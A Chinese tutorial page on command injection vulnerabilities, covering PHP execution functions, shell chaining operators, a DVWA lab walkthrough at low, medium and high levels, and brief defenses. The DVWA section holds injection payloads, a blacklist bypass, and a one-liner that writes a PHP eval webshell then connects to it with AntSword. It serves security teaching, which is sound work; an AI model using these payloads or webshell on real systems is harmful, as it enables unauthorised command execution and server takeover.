当前位置: 首页 > ai >正文

命令执行漏洞

1、原理:

Web应用程序的某些功能需要调用一些可以执行系统命令的函数,如果函数或者函数的参数能被用户控制,同时没有对用户的输入做严格的过滤,就能将恶意命令通过命令连接符拼接到正常的命令中,从而随意地执行系统命令,实现getshell。

2、PHP中常见命令执行函数:

system()、exec()、shell_exec()、passthru()

 PHP 函数

Java 对应方式

Python 对应方式

 ASP 对应方式(经典 ASP)

ASP.NET 对应方式

system()

Runtime.exec() + 输出流读取

os.system()

WScript.Shell.Exec

Process.Start

exec()

Runtime.exec() + 输出流读取

subprocess.run(...,capture_output=True)

WScript.Shell.Exec` + `StdOut.ReadAll()

Process.Start` + `StandardOutput.ReadToEnd()

shell_exec()

Runtime.exec() + 读取完整输出

subprocess.run(...).stdout

WScript.Shell.Exec` + `StdOut.ReadAll()

Process.Start` + `StandardOutput.ReadToEnd()

passthru()

ProcessBuilder + 实时输出

subprocess.Popen(..., stdout=PIPE)

WScript.Shell.Exec` + 直接输出

Process.Start` + `StandardOutput.BaseStream.CopyTo(Response.OutputStream)

3、常用命令连接符(Windows和Linux通用):

Command1 | Command2  管道符,将C1执行后输出的结果作为输入传递给C2

Command1 || Command2  先后执行1,2,只有1执行失败才执行2

Command1 && Command2  先后执行1,2,只有1执行成功才执行2

Command1 & Command2  先后执行1,2,无论1执行是否成功

Command1 ; Command2  先后执行1,2,无论1执行是否成功(linux独有)

 4、【DVWA】之命令注入

Low

查看源代码,无任何防护

 (1)IP:127.0.0.1

(2)IP:127.0.0.  | ipconfig

(3)IP:127.0.0. || cd       #先后执行1,2,只有1执行失败才执行2

(4)IP:127.0.0.1 && cd         #先后执行1,2,只有1执行成功才执行2

(5)127.0.0.1 & dir   #先后执行1,2,无论1执行是否成功

(6)获取webshell

127.0.0.1 | echo "<?php @eval($_POST[666]);?>"  >666.php

127.0.0.1 | dir

蚁剑连接

http://10.20.0.5/DVWA-master/vulnerabilities/exec/666.php

Medium

查看源代码

 (1)IP:127.0.0.1 & cd       #先后执行1,2,无论1执行是否成功

 (2)IP:127.0.0.  | ipconfig

......

High

查看源码,通过黑名单过滤了更多命令连接符,但在过滤‘| ’时多了一个空格。

127.0.0.1 |cd        # |后不接空格绕过黑名单匹配

5、防御方法

(1)过滤常见命令连接符

(2)校验token

(3)使用白名单限制用户输入

http://www.xdnf.cn/news/16383.html

相关文章:

  • EAP(基于事件的异步编程模式)
  • 思途SQL学习 0728
  • SIM2REAL记录
  • 初识 docker [下] 项目部署
  • 亚马逊地址关联暴雷:新算法下的账号安全保卫战
  • 通过具有一致性嵌入的大语言模型(LMMs)实现端到端乳腺癌放射治疗计划制定|文献速递-医学影像算法文献分享
  • 反欺诈系统:Oracle 到 ES 迁移实战
  • 形参表不匹配(BUG)
  • R语言常用扩展包
  • 【自动化运维神器Ansible】Ansible常用模块之unarchive模块详解
  • YOLO11 改进、魔改|低分辨率自注意力机制LRSA ,提取全局上下文建模与局部细节,提升小目标、密集小目标的检测能力
  • 10、Docker Compose 安装 MySQL
  • 动/静态库的原理及制作
  • 鸿蒙打包签名
  • Linux:线程同步与线程互斥
  • Vue 工程化
  • 重构vite.config.json
  • Linux Shell 命令
  • 设计模式(九)结构型:组合模式详解
  • 卷积神经网络研讨
  • 设计模式(三)创建型:抽象工厂模式详解
  • 3D芯片香港集成:技术突破与产业机遇全景分析
  • Cursor下利用Stagewise实现 “所见即改” 的前端开发体验~
  • Linux kill正在执行的后台任务 kill进程组
  • Cline与Cursor深度实战指南:AI编程助手的革命性应用
  • github上传本地项目过程记录
  • 【Datawhale AI夏令营】科大讯飞AI大赛(大模型技术)/夏令营:让AI理解列车排期表
  • 【计算机网络架构】网状型架构简介
  • 栈----4.每日温度
  • 226. 翻转二叉树